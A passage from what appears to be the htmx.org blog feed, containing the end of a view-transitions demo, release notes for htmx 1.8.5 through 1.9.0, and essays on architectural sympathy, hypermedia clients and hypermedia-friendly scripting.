600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-to-left;
}
::view-transition-new(slide-it) {
animation: 420ms cubic-bezier(0, 0, 0.2, 1) 90ms both fade-in,
600ms cubic-bezier(0.4, 0, 0.2, 1) both slide-from-right;
}
/* tie the view transition to a given CSS class */
.sample-transition {
view-transition-name: slide-it;
}
</style>
<div class="sample-transition" style="padding: 24px">
<h1>Initial Content</h1>
<button hx-get="/new-content" hx-swap="innerHTML transition:true" hx-target="closest div">
Swap It!
</button>
</div>
<script>
var originalContent = htmx.find(".sample-transition").innerHTML;
this.server.respondWith("GET", "/new-content", function(xhr){
xhr.respond(200, {}, "<h1>New Content</h1> <button hx-get='/original-content' hx-swap='innerHTML transition:true' hx-target='closest div'>Restore It! </button>")
});
this.server.respondWith("GET", "/original-content", function(xhr){
xhr.respond(200, {}, originalContent)
});
</script>
<p>Assuming you are looking at this page in Chrome 111+, you should see the content above slide gracefully out to the
left and be replaced by new content sliding in from the right. Nice!</p>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>Hey now, that’s pretty neat, and, once you get your head around the concept, not all that much work! This new API
shows a lot of promise.</p>
<p>View Transitions are an exciting new technology that we feel can dramatically level the playing field between
<a rel="noopener" target="_blank" href="https://htmx.org/essays/hypermedia-driven-applications/">Hypermedia Driven Applications</a> and the more prevalent SPA
architecture used today.</p>
<p>By doing away with the ugly “ka-chunk” of Web 1.0 applications, the aesthetic advantages of the
SPA approach will be diminished, and we can make decisions less around “sizzle” and focus more on the actual <a rel="noopener" target="_blank" href="https://htmx.org/essays/when-to-use-hypermedia/">technical
tradeoffs</a> associated with various architectures.</p>
<p>We are looking forward to when View Transitions are available in vanilla HTML, but, until then, you can start playing
with them in htmx, today!</p>
htmx 1.9.0 has been released!2023-04-11T00:00:00+00:002023-04-11T00:00:00+00:00Unknownhttps://htmx.org/posts/2023-04-11-htmx-1-9-0-is-released/<h2 id="htmx-1-9-0-release">htmx 1.9.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.9.0/">1.9.0 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>Support for <a href="/essays/view-transitions">view transitions</a>, based on the experimental <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API">View Transitions API</a>
currently available in Chrome 111+ and coming to other browsers soon.</li>
<li>Support for “naked” <a href="/attributes/hx-trigger"><code>hx-trigger</code></a> attributes, where an <code>hx-trigger</code> is present on an element
that does not have an <code>hx-get</code>, etc. defined on it. Instead, it will trigger the new <code>htmx:triggered</code> event, which can
be responded to via your <a href="/docs#scripting">preferred scripting solution</a>.</li>
<li>Support for generalized inline event handling via the new <a href="/attributes/hx-on"><code>hx-on</code></a> attribute, which addresses
the shortcoming of limited <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/Events/Event_handlers#using_onevent_properties"><code>onevent</code> properties</a> attributes in HTML.</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>The htmx website has been migrated from 11ty to <a rel="noopener" target="_blank" href="https://www.getzola.org/">zola</a> by <a rel="noopener" target="_blank" href="https://github.com/danieljsummers">@danieljsummers</a>, cutting
way down on the number of “development” javascript dependencies</li>
<li>A memory leak fix by <a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/commit/8cd3a480a7388877628ce8b9b8e50cd5df48bb81">@croxton</a></li>
</ul>
<p>Thank you to everyone who contributed, and enjoy!</p>
Architectural Sympathy2023-04-06T00:00:00+00:002023-04-06T00:00:00+00:00Unknownhttps://htmx.org/essays/architectural-sympathy/<h1 id="mechanical-sympathy-architectural-sympathy"><a class="zola-anchor" href="#mechanical-sympathy-architectural-sympathy" aria-label="Anchor link for: mechanical-sympathy-architectural-sympathy">#</a>Mechanical Sympathy & Architectural Sympathy</h1>
<blockquote>
<p>You don’t have to be an engineer to be be a racing driver, but you do have to have Mechanical Sympathy.</p>
</blockquote>
<p><em>-Jackie Stewart, racing driver</em></p>
<p>The term “mechanical sympathy” was originally coined by Jackie Steward to capture a characteristic
of race car drivers, who needed a deep and intuitive understanding of how a race car worked in order
to get the best possible performance out of the vehicle.</p>
<p>This term was applied to software development by Martin Thompson when discussing his <a rel="noopener" target="_blank" href="https://martinfowler.com/articles/lmax.html">LMAX</a>
architecture, which utilized a low level and intuitive understanding of how his cloud system functioned
in order to maximize the performance of it. Thompson maintained <a rel="noopener" target="_blank" href="https://mechanical-sympathy.blogspot.com/">a blog</a>
on the topic for many years, and it is well worth going back and reading the posts there.</p>
<h2 id="architectural-sympathy"><a class="zola-anchor" href="#architectural-sympathy" aria-label="Anchor link for: architectural-sympathy">#</a>Architectural Sympathy</h2>
<p>In this brief essay I want to propose another concept and design principle, that of <em>Architectural Sympathy</em>:</p>
<blockquote>
<p>Architectural Sympathy is the characteristic of one piece of software adopting and conforming to the architectural
design of another piece of software </p>
</blockquote>
<p>This is a design principle that I have kept in mind when designing <a rel="noopener" target="_blank" href="https://htmx.org">htmx</a> and
<a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a> and I wanted to write it down for reference and so others can think about,
criticize and improve it.</p>
<h3 id="htmx-s-architectural-sympathy-for-the-web"><a class="zola-anchor" href="#htmx-s-architectural-sympathy-for-the-web" aria-label="Anchor link for: htmx-s-architectural-sympathy-for-the-web">#</a>htmx’s Architectural Sympathy for The Web</h3>
<p>htmx is architecturally sympathetic to The Web because it adopts the underlying <a href="/essays/hateoas">REST-ful</a> architecture
of The Web: exchanging <em>hypermedia</em> in a REST-ful manner with a hypermedia server. As much as is practical, htmx takes
design cues from the existing Web infrastructure:</p>
<ul>
<li>It mimics the core hypermedia-exchange mechanic of links and forms</li>
<li>It uses CSS selectors for targeting</li>
<li>It uses standard URL paths for designating end points</li>
<li>It uses the standard API language for specifying swap types</li>
<li>Etc.</li>
</ul>
<p>htmx attempts to <em>fold in</em> to the existing conceptual architecture of The Web, rather than replace it.</p>
<p>This is in contrast with the <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Glossary/SPA">SPA</a> approach to building web
applications. Most SPA frameworks have little architectural sympathy with the original web model. Rather, they largely
<em>replace</em> the original, REST-ful, hypermedia-oriented architecture of the web in favor of a more thick-client like
architecture, exchanging information over an
<a href="/essays/how-did-rest-come-to-mean-the-opposite-of-rest/">RPC-like fixed-data format</a> network architecture.</p>
<h3 id="advantages-of-the-architecturally-sympathetic-approach"><a class="zola-anchor" href="#advantages-of-the-architecturally-sympathetic-approach" aria-label="Anchor link for: advantages-of-the-architecturally-sympathetic-approach">#</a>Advantages Of The Architecturally Sympathetic Approach</h3>
<p>If a new piece of software maintains architectural sympathy with an original piece of software, the following advantages
are obtained:</p>
<ul>
<li>A developer who is familiar with the original piece of software does not need to learn a whole new conceptual approach
when using the new piece of software. </li>
<li>The design constraints of the original piece of software offer a framework within which to evaluate features for the
new piece of software. This makes it easier to <a rel="noopener" target="_blank" href="https://grugbrain.dev/#grug-on-saying-no">say “no”</a> as you develop the
new software. (“The enemy of art is the absence of limitations.” –<a rel="noopener" target="_blank" href="https://quoteinvestigator.com/2014/05/24/art-limit/">Orson Welles</a>)</li>
<li>Experience gained from working with the original piece of software can directly inform the design and implementation of
the new software</li>
<li>There will likely be a subjective feeling of “fit” between the new and original software for users of the new software</li>
</ul>
<h3 id="disadvantages-of-the-architecturally-sympathetic-approach"><a class="zola-anchor" href="#disadvantages-of-the-architecturally-sympathetic-approach" aria-label="Anchor link for: disadvantages-of-the-architecturally-sympathetic-approach">#</a>Disadvantages Of The Architecturally Sympathetic Approach</h3>
<p>Of course, as with any design principle, there are trade-offs when using Architectural Sympathy:</p>
<ul>
<li>The shortcomings of the original piece of software are likely to be found in some way in the new software</li>
<li>The design constraints impressed on the new software by the older software may be so oppressive as to limit progress
and functionality in the new software</li>
<li>It may be difficult for developers to “see the point” of the new software, if it feels too close to the original software</li>
<li>By maintaining architectural sympathy with the older, original software, the new software risks appearing old itself,
a danger in the software business that has often favored new and exciting approaches to problems.</li>
<li>You may not be able to layer as many new concepts as some users might like on top of the original software</li>
</ul>
<h2 id="craftsmanship-architectural-sympathy"><a class="zola-anchor" href="#craftsmanship-architectural-sympathy" aria-label="Anchor link for: craftsmanship-architectural-sympathy">#</a>Craftsmanship & Architectural Sympathy</h2>
<p>A non-software example of architectural sympathy that I like to point to are medieval cathedrals: these cathedrals were
often built, rebuilt and improved over centuries by many different builders and architects (such as they were). And yet
they were able, over those centuries, to maintain a high level of architectural sympathy with the earlier workers.</p>
<p>Rather than focusing on radically new approaches to building, workers focused on maintaining a coherent whole and, within
that framework, on the craftsmanship of their individual contributions. Yes, there were flourishes and changes along the
way, but these typically did not sacrifice the conceptual coherence of the whole for the sake of innovation.</p>
<p>Adopting an architecturally sympathetic mindset in software development often means sacrificing how you would like to
do things in favor of how an original piece of software did things. While this constraint can chafe at times, it can
also produce well crafted software that is harmonious and that dovetails well with existing software.</p>
htmx 1.8.6 has been released!2023-03-02T00:00:00+00:002023-03-02T00:00:00+00:00Unknownhttps://htmx.org/posts/2023-03-02-htmx-1-8-6-is-released/<h2 id="htmx-1-8-6-release">htmx 1.8.6 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.8.6/">1.8.6 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li><a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/htmx/commit/a85ad4ac67c3a471dbb8472900ec1e583b571a67">ESM support</a> (thank you @dkniffin!)</li>
<li>Sass has been vanquished from the htmx.org website so python 2 (!!!) is no longer required for developing htmx (thank you @dz4k!)</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Fixed a bug where the <code>changed</code> modifier on <code>keyup</code> did not work properly if an input was tabbed into</li>
<li>Many other smaller bug fixes and doc fixes</li>
</ul>
<p>Thank you to everyone who contributed, and enjoy!</p>
Hypermedia Clients2023-01-28T00:00:00+00:002023-01-29T00:00:00+00:00Unknownhttps://htmx.org/essays/hypermedia-clients/<p>Often, when we are being insufferably pedantic in <a rel="noopener" target="_blank" href="https://news.ycombinator.com/item?id=32141027">online discussions</a>
about <a href="https://htmx.org/essays/how-did-rest-come-to-mean-the-opposite-of-rest/">REST</a> & <a href="https://htmx.org/essays/hateoas/">HATEOAS</a>, we will
say something along the lines of this:</p>
<blockquote>
<p>JSON isn’t a hypermedia because it doesn’t have hypermedia controls.</p>
<p>Look at this JSON:</p>
</blockquote>
<pre data-lang="json" style="background-color:#1f2329;color:#abb2bf;" class="language-json "><code class="language-json" data-lang="json"><span>{
</span><span> </span><span style="color:#98c379;">"account"</span><span>: {
</span><span> </span><span style="color:#98c379;">"account_number"</span><span>: </span><span style="color:#d19a66;">12345</span><span>,
</span><span> </span><span style="color:#98c379;">"balance"</span><span>: {
</span><span> </span><span style="color:#98c379;">"currency"</span><span>: </span><span style="color:#98c379;">"usd"</span><span>,
</span><span> </span><span style="color:#98c379;">"value"</span><span>: </span><span style="color:#d19a66;">50.00
</span><span> },
</span><span> </span><span style="color:#98c379;">"status"</span><span>: </span><span style="color:#98c379;">"open"
</span><span> }
</span><span>}
</span></code></pre>
<blockquote>
<p>See? No hypermedia controls.</p>
<p>So this JSON isn’t a hypermedia, and, therefore, the API returning this JSON isn’t RESTful.</p>
</blockquote>
<p>To this, occasionally, a smart and experienced web developer will reply with something along these lines:</p>
<blockquote>
<p>OK, mr. REST-y pants, how about this JSON?</p>
</blockquote>
<pre data-lang="json" style="background-color:#1f2329;color:#abb2bf;" class="language-json "><code class="language-json" data-lang="json"><span>{
</span><span> </span><span style="color:#98c379;">"account"</span><span>: {
</span><span> </span><span style="color:#98c379;">"account_number"</span><span>: </span><span style="color:#d19a66;">12345</span><span>,
</span><span> </span><span style="color:#98c379;">"balance"</span><span>: {
</span><span> </span><span style="color:#98c379;">"currency"</span><span>: </span><span style="color:#98c379;">"usd"</span><span>,
</span><span> </span><span style="color:#98c379;">"value"</span><span>: </span><span style="color:#d19a66;">50.00
</span><span> },
</span><span> </span><span style="color:#98c379;">"status"</span><span>: </span><span style="color:#98c379;">"open"</span><span>,
</span><span> </span><span style="color:#98c379;">"links"</span><span>: {
</span><span> </span><span style="color:#98c379;">"deposits"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/deposits"</span><span>,
</span><span> </span><span style="color:#98c379;">"withdrawals"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/withdrawals"</span><span>,
</span><span> </span><span style="color:#98c379;">"transfers"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/transfers"</span><span>,
</span><span> </span><span style="color:#98c379;">"close-requests"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/close-requests"
</span><span> }
</span><span> }
</span><span>}
</span></code></pre>
<blockquote>
<p>There, now there are hypermedia controls in this response (normal humans call them links, btw) so this JSON is a
hypermedia.</p>
<p>So this JSON API is now RESTful. Feel better?</p>
</blockquote>
<p>😑</p>
<p>One must concede that, at least at a high-level, our online adversary has something of a talking point here: these
do appear to be hypermedia controls, and they are, in fact, in a JSON response. So, couldn’t you call this JSON response
RESTful?</p>
<p>Being obstinate by nature, we still wouldn’t be willing to concede the immediate point without a good
<a rel="noopener" target="_blank" href="https://i.imgur.com/DpQ9YJl.png">ackchyually</a> or two:</p>
<ul>
<li>First, these links hold no information about what HTTP method to use to access them</li>
<li>Secondly, these links aren’t a <em>native</em> part of JSON the way that, for example, anchor and form tags are with HTML</li>
<li>Third, there is a lot of missing information about the hypermedia interactions at each end point (e.g. what data needs to
go up with the request.)</li>
</ul>
<p>And so on: the sorts of pedantic nit-picking that makes technical flame wars about REST on the internet such a <em>special</em> joy.</p>
<p>However, there is a deeper <a rel="noopener" target="_blank" href="https://i.imgur.com/DpQ9YJl.png">ackchyually</a> here, and one that doesn’t involve the <em>JSON API</em>
itself, but rather the other side of the wire: the <em>client</em> that receives the JSON.</p>
<h2 id="hypermedia-clients-presentation-information"><a class="zola-anchor" href="#hypermedia-clients-presentation-information" aria-label="Anchor link for: hypermedia-clients-presentation-information">#</a>Hypermedia Clients & Presentation Information</h2>
<p>The deeper problem with this proposed fix for non-RESTful JSON APIs is that, for this JSON response to participate
properly in a <a rel="noopener" target="_blank" href="https://hypermedia.systems">hypermedia system</a>, the <em>client</em> that consumes the JSON needs to <em>also</em>
satisfy the <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm">constraints</a> that the
RESTful architectural style places on the entire system.</p>
<p>In particular, the client needs to satisfy the <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5">uniform interface</a>,
in which the client code knows nothing about the “shape” or details of the response beyond the ability to display
the given hypermedia to a user. In a properly functioning RESTful system, the client isn’t allowed to have any
“out of band” knowledge about the domain that a particular hypermedia representation, er, represents.</p>
<p>Let’s look at the proposed JSON-as-hypermedia again: </p>
<pre data-lang="json" style="background-color:#1f2329;color:#abb2bf;" class="language-json "><code class="language-json" data-lang="json"><span>{
</span><span> </span><span style="color:#98c379;">"account"</span><span>: {
</span><span> </span><span style="color:#98c379;">"account_number"</span><span>: </span><span style="color:#d19a66;">12345</span><span>,
</span><span> </span><span style="color:#98c379;">"balance"</span><span>: {
</span><span> </span><span style="color:#98c379;">"currency"</span><span>: </span><span style="color:#98c379;">"usd"</span><span>,
</span><span> </span><span style="color:#98c379;">"value"</span><span>: </span><span style="color:#d19a66;">50.00
</span><span> },
</span><span> </span><span style="color:#98c379;">"status"</span><span>: </span><span style="color:#98c379;">"open"</span><span>,
</span><span> </span><span style="color:#98c379;">"links"</span><span>: {
</span><span> </span><span style="color:#98c379;">"deposits"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/deposits"</span><span>,
</span><span> </span><span style="color:#98c379;">"withdrawals"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/withdrawals"</span><span>,
</span><span> </span><span style="color:#98c379;">"transfers"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/transfers"</span><span>,
</span><span> </span><span style="color:#98c379;">"close-requests"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/close-requests"
</span><span> }
</span><span> }
</span><span>}
</span></code></pre>
<p>Now, a client of this API <em>could</em> use a generic algorithm to transform this JSON into, for example, some HTML. It could
do so via a client-side templating language that, for example, iterated over all the properties of the JSON object. </p>
<p>But there’s a hitch: note that there isn’t a lot of <em>presentation information</em> in the JSON response. It is a fairly raw
data representation of the account in question, with a few additional URLs.</p>
<p>A client that wanted to satisfy the uniform interface constraint of REST doesn’t have much information on how to present
this data to a user. The client would, therefore, need to adopt a very basic approach to displaying this account to an
end user.</p>
<p>It would probably end up being roughly a set of name/value pairs and a set generic of buttons or links for actions, right?</p>
<p>There simply isn’t much more it could do while remaining agnostic about the form of the JSON response.</p>
<h3 id="pushing-our-json-api-further"><a class="zola-anchor" href="#pushing-our-json-api-further" aria-label="Anchor link for: pushing-our-json-api-further">#</a>Pushing Our JSON API Further</h3>
<p>We could fix this by making our JSON API more elaborate and start including more information on how to lay out the
information: perhaps indications that some fields should be emphasized, or hidden, etc.</p>
<p>But that would only be part of the story.</p>
<p>We would also need to update the client side to interpret these new elements of our JSON API properly. So we are no
longer just API designers: we are getting in to the hypermedia <em>client</em> creation business as well. Or, more likely, we
are asking our <em>API clients</em> to get into the hypermedia client business as well.</p>
<p>Now, Mike Amundsen has written an <a rel="noopener" target="_blank" href="https://www.oreilly.com/library/view/restful-web-clients/9781491921890/">excellent book</a> on
how to build a proper, generic hypermedia client. But what you will see in that book is that creating a good hypermedia
client isn’t trivial, and, further, it is certainly not what <em>most</em> engineers would build to consume a JSON API, even if
the JSON API had increasingly elaborate hypermedia controls and presentation information in their responses.</p>
<h3 id="inefficient-representations"><a class="zola-anchor" href="#inefficient-representations" aria-label="Anchor link for: inefficient-representations">#</a>“Inefficient” Representations</h3>
<p>As we begin to consider adding more information to our JSON response, a quote from Roy Fielding’s dissertation jumps
to mind:</p>
<blockquote>
<p>The trade-off, though, is that a uniform interface degrades efficiency, since information is transferred in a
standardized form rather than one which is specific to an application’s needs.</p>
</blockquote>
<p><em>-Roy Fielding, <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5">https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5</a></em></p>
<p>A criticism of HTML is that it mixes “presentation” information with “semantic” information. This is often contrasted
unfavorably with the brevity of typical JSON API responses.</p>
<p>It turns out, however, that it is exactly that presentation information, and the ability of a web browser (i.e. a hypermedia client) to
turn it into a UI that a human can interact with, that makes HTML work so well as a component of the larger hypermedia
system that is the web.</p>
<p>And that exactly what we find ourselves adding to our own JSON API to support a proper hypermedia client.</p>
<h2 id="building-hypermedia-clients"><a class="zola-anchor" href="#building-hypermedia-clients" aria-label="Anchor link for: building-hypermedia-clients">#</a>Building Hypermedia Clients</h2>
<p>So, you can see, just offering hypermedia controls in a JSON API response isn’t enough. It is <em>part</em> of the REST story,
but not the entire story. And, I have come to understand, it is not really the <em>hard</em> part of the story. In fact, creating the
hypermedia <em>client</em> is the hard part, and creating a <em>good</em> hypermedia client is <em>the really hard part</em>.</p>
<p>Now, we are all used to web browsers just being there, but think for a moment about all the technology that goes in to simply
parsing and rendering HTML to an end user in a normal, every day web request. It’s <em>extremely</em> complicated.</p>
<p>That’s why, if we want to build web-based <a href="https://htmx.org/essays/hypermedia-driven-applications/">hypermedia-driven applications</a>,
it’s probably a good idea to use the standard, web-based hypermedia client: the browser.</p>
<p>It is already an extremely powerful, well tested hypermedia client. And, <a href="https://htmx.org/docs/">with a bit of help</a>,
it can be an even better hypermedia client.</p>
<p>In general, building a good hypermedia client that satisfies all the constraints of REST is hard, and we should lean
towards using (and extending) existing clients rather than building our own new ones.</p>
<h3 id="hyperview"><a class="zola-anchor" href="#hyperview" aria-label="Anchor link for: hyperview">#</a>Hyperview</h3>
<p>That being said, there are times when building a new hypermedia client is appropriate. For example, this is what makes
a technology like <a rel="noopener" target="_blank" href="https://hyperview.org/">Hyperview</a> so impressive and special. Hyperview
doesn’t just provide a specification for a new, mobile-friendly hypermedia, <a rel="noopener" target="_blank" href="https://hyperview.org/docs/guide_html">HXML</a>.</p>
<p>It also provides developers with a hypermedia <em>client</em> that understands how to render HXML.</p>
<p>Without that hypermedia client, Hyperview would be just another hypermedia-in-theory, like the JSON above, rather
than a compelling, practical and <em>complete</em> RESTful hypermedia solution.</p>
<p>A hypermedia without a hypermedia client is like a fish without a bicycle, except where the fish is really only good at
bicycling.</p>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>It took me a long time to appreciate how important the <em>client</em> is to a proper, RESTful hypermedia system. This is understandable,
since most of the early discussion around REST was around <a rel="noopener" target="_blank" href="https://www.martinfowler.com/articles/richardsonMaturityModel.html">API Design</a>,
and the client simply didn’t come up much.</p>
<p>What I see now is that a lot of these discussions were putting the cart before the horse: the only way a RESTful hypermedia
API can be useful is if it is consumed by a proper hypermedia client. Otherwise, your hypermedia controls are wasted
on what is, at the end of the day, a domain-specific thick client that just wants to get things done.</p>
<p>Further, your hypermedia API is almost certainly going to have to carry a fair amount of presentation-layer information
in it to make the whole thing usable. It turns out that “Level 3” of the
<a rel="noopener" target="_blank" href="https://martinfowler.com/articles/richardsonMaturityModel.html">Richard Maturity Model</a>, Hypermedia Controls, <em>isn’t</em>
enough to reach “The Glory of REST”.</p>
<p>In practice, you are going to need to add in a bunch of practical presentation-level technology to make
your hypermedia API really work, <em>and</em> you are going to need a properly built hypermedia client to consume it.</p>
<p>I had a nascent sense of this when I wrote <a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html">HATEOAS Is For Humans</a>,
but I didn’t, at that time, appreciate just how special the client/web browser was.</p>
<p>REST isn’t solely about APIs: as Roy Fielding makes clear in his dissertation, it is a <em>system</em> architecture. </p>
<p>Except for a few people like <a rel="noopener" target="_blank" href="https://training.amundsen.com/">Mike</a>, we’ve been largely ignoring a larger (really,
<em>much</em> larger) part of the REST story:</p>
<div style="text-align:center;padding-top: 24px">
<img src="/img/creating-client.png" alt="Creating A Hypermedia Client Is Hard Joke" style="max-width: 95%">
</div>
htmx 1.8.5 has been released!2023-01-17T00:00:00+00:002023-01-17T00:00:00+00:00Unknownhttps://htmx.org/posts/2023-01-17-htmx-1-8-5-is-released/<h2 id="htmx-1-8-5-release">htmx 1.8.5 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.8.5/">1.8.5 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>Support a new optional cache-busting configuration option, <code>getCacheBusterParam</code>, to allow browsers to disambiguate
between <code>GET</code> requests from htmx and from the raw browser</li>
<li>Support new <code>hx-history='false'</code> attribute, to prevent sensitive data from being stored in the history cache. (Thank you @croxton!)</li>
<li>Extensive new event-oriented features are available in the <a href="https://htmx.org/extensions/web-sockets/">Web Socket</a> extension (Thank you @Renerick!)</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>A bug fix for when a form contains multiple empty input values with the same name (Thank you @bluekeyes!)</li>
<li>A bug fix around inputs that throw exceptions when calling <code>setSelectionRange()</code> (Thank you @gone!)</li>
<li>A bug fix to pass through the proper event for the <code>htmx:configRequest</code> event</li>
<li>A bug fix/improvement for the <code>preload</code> extension</li>
<li>Many other small bug and doc fixes</li>
</ul>
<p>Thank you to everyone who contributed, and enjoy!</p>
Hypermedia-Friendly Scripting2022-11-17T00:00:00+00:002022-11-29T00:00:00+00:00Unknownhttps://htmx.org/essays/hypermedia-friendly-scripting/<blockquote>
<p>The final addition to our constraint set for REST comes from the code-on-demand style of Section 3.5.3 (Figure 5-8).
REST allows client functionality to be extended by downloading and executing code in the form of applets or scripts.
This simplifies clients by reducing the number of features required to be pre-implemented. Allowing features to be
downloaded after deployment improves system extensibility. However, it also reduces visibility, and thus is only an
optional constraint within REST.</p>
<p>--<a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7">Roy Fielding - Representational State Transfer (REST)</a></p>
</blockquote>
<h2 id="scripting_and_the_web"><a class="zola-anchor" href="#scripting_and_the_web" aria-label="Anchor link for: scripting_and_the_web">#</a>Scripting & The Web</h2>
<p>In <a href="https://htmx.org/essays/hypermedia-driven-applications/">Hypermedia-Driven Applications</a> we discuss how to build
web applications in such a manner that they are <em>hypermedia</em>-driven, in contrast with the popular SPA approach, in which
they are <em>JavaScript</em> and, at the network-level, <a href="https://htmx.org/essays/how-did-rest-come-to-mean-the-opposite-of-rest/">RPC-driven</a>.</p>
<p>In the HDA article we mention scripting briefly:</p>
<blockquote>
<p>In an HDA, hypermedia (HTML) is the primary medium for building the application, which means that:</p>
<ul>
<li>All communication with the server is still managed via HTTP requests with hypermedia (HTML) responses</li>
<li>Scripting is used mainly to enhance the front-end experience of the application</li>
</ul>
<p>Scripting augments the existing hypermedia (HTML) but does not supersede it or subvert the fundamental REST-ful
architecture of the HDA.</p>
</blockquote>
<p>In this article we would like to expand on this last comment and describe what scripting that does not “supersede” or
“subvert” a REST-ful, Hypermedia-Driven Application looks like. These rules of thumb apply to scripting written
directly to support a web application, as well as to general purpose JavaScript libraries.</p>
<p>The basic rules for hypermedia-friendly scripting are:</p>
<ul>
<li><a href="https://htmx.org/essays/hypermedia-friendly-scripting/#prime_directive">Respect HATEOAS</a></li>
<li><a href="https://htmx.org/essays/hypermedia-friendly-scripting/#state">Client-side only state is OK</a></li>
<li><a href="https://htmx.org/essays/hypermedia-friendly-scripting/#events">Use events to communicate between components</a></li>
<li><a href="https://htmx.org/essays/hypermedia-friendly-scripting/#islands">Use islands to isolate non-hypermedia components from the rest of your application</a></li>
<li><a href="https://htmx.org/essays/hypermedia-friendly-scripting/#inline">Optionally, consider inline scripting</a></li>
</ul>
<p>Each of these rules will be elaborated on below.</p>
<h2 id="prime_directive"><a class="zola-anchor" href="#prime_directive" aria-label="Anchor link for: prime_directive">#</a>The Prime Directive</h2>
<p>The prime directive of an HDA is to use <a href="https://htmx.org/essays/hateoas/">Hypermedia As The Engine of Application State</a>.
A hypermedia-friendly scripting approach will follow this directive.</p>
<p><strong>Practically, this means that scripting should avoid making non-hypermedia exchanges over the network with a server.</strong></p>
<p>So, in general, hypermedia-friendly scripting should avoid the use of <code>fetch()</code> and <code>XMLHttpRequest</code> <em>unless</em> the responses
from the server use a hypermedia of some sort (e.g. HTML), rather than a data API format (e.g. plain JSON).</p>
<p>Respecting HATEOAS also means that, in general, complicated state stored in JavaScript (rather than in the DOM) should
be avoided.</p>
<p>However, this last statement needs to be qualified: state may be stored client-side in JavaScript so long as it is
directly supporting a more sophisticated front-end experience (e.g. widget) than pure HTML allows.</p>
<p>To reiterate what Fielding says regarding the purpose of scripting in REST:</p>
<blockquote>
<p>Allowing features to be downloaded after deployment improves system extensibility.</p>
</blockquote>
<p>So scripting is a legitimate part a REST-ful system, in order to allow the creation of additional features not directly implemented
within the underlying hypermedia, thus making a hypermedia (e.g. HTML) more extensible.</p>
<p>A good example of this sort of feature is a rich-text editor: it might have an extremely sophisticated JavaScript model
of the editor’s document, including selection information, highlighting information, code completion and so forth.
However, this model should be isolated from the rest of the DOM and the rich text editor should expose its information
to the DOM using standard hypermedia features. For example, it should use a hidden input to communicate the contents of the
editor to the surrounding DOM, rather than requiring a JavaScript API call to get the content.</p>
<p>The idea is to use scripting to improve the hypermedia experience by providing features and functionality that are
not part of the standard hypermedia (HTML) tool set, but do so in a way that plays well with HTML, rather than relegating
HTML to a mere UI description language within a larger JavaScript application, as many SPA frameworks do.</p>
<h2 id="state"><a class="zola-anchor" href="#state" aria-label="Anchor link for: state">#</a>State</h2>
<p>Note that using Hypermedia As The Engine Of Application State does not mean that you cannot have <em>any</em> client-side state.
Obviously, the rich-text editor example cited above may have a significant amount of client-side state. But
there are simpler cases where client-side state are warranted and perfectly consistent with a Hypermedia-Driven Application.</p>
<p>Consider a simple visibility toggle, where clicking a button or anchor adds a class to another element, making it visible.</p>
<p>This ephemeral client-side state is fine in a Hypermedia-Driven Application, because the state is purely front-end. No
system state is being updated with this sort of scripting. If system state were to be mutated (that is, if showing or
hiding the element had an effect on the data stored on the server), then it would be necessary to use a hypermedia
exchange. </p>
<p>The crucial aspect to consider is whether any state updated on the client side needs to be synchronized with the server.<br />
If yes, then a hypermedia exchange should be used. If no, then it is fine to keep the state client-side only.</p>
<h2 id="events"><a class="zola-anchor" href="#events" aria-label="Anchor link for: events">#</a>Events</h2>
<p>One excellent way for a JavaScript library to enable hypermedia-friendly scripting is for it to have
<a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events">a rich custom event model</a>.</p>
<p>A JavaScript-based component that triggers events allows for hypermedia-oriented JavaScript libraries, such as htmx,
to listen for those events and trigger hypermedia exchanges. This, in turn, makes any JavaScript library a potential
<em>hypermedia control</em>, able to drive the Hypermedia-Driven Application via user-selected actions.</p>
<p>A good example of this is the <a href="https://htmx.org/examples/sortable/">Sortable.js</a> example, in which htmx listens for
the <code>end</code> event triggered by Sortable.js:</p>
